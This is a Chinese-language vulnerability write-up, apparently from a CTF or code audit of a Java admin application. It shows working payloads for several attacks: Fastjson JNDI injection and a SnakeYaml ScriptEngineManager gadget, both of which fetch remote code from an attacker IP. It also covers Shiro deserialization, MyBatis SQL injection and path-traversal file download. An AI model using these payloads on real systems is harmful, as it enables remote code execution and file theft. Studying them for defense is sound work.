目录
Fastjson反序列化
看到Fastjson版本号为1.2.60

全局搜.parseObject(

传参方式要注意一下,是对传入的Params先toJSONString,再parseObject

此外要过掉第一个if

GenConstants.TPL_TREE的值为"tree"
则要让genTable.getTplCategory()的值为"tree"
所以要这么设置下

validateEdit在/tool/gen/edit被调用

这个接口一眼顶真,锁定生成代码这部分功能点
先随便导入一个模块,点击编辑


成功抓上包


打入payload:
params[@type]=org.apache.shiro.jndi.JndiObjectFactory¶ms[resourceName]=ldap://8.138.38.81:1338/#suibian

从1.2.25开始fastjson默认禁用autotype,方便起见我们改下代码
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
此外jdk版本要小于8u121,Java 8u121+ 默认禁用了LDAP的远程代码加载

Shiro反序列化
存在shiro组件

依然硬编码密钥

勾选下AES GCM

成功RCE

SQL注入
项目用的是mybatis

全局搜${

后续过程和3.0版本的一致

任意文件下载

/common/download路由被修了



/common.download/resource未做waf
但StringUtils.substringAfter截取Constants.RESOURCE_PREFIX之后的部分

即截取/profile后的部分

所以要这么构造
/common/download/resource?resource=/profile/../../../../../../flag.txt


定时任务命令执行
关注定时任务功能点

本质是打个SPI
之前写过一篇文章:【Web】浅浅地聊SnakeYaml反序列化两条常见利用链
解析yaml用的是snakeyaml

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://8.138.38.81:1337/yaml-payload.jar"]]]]')


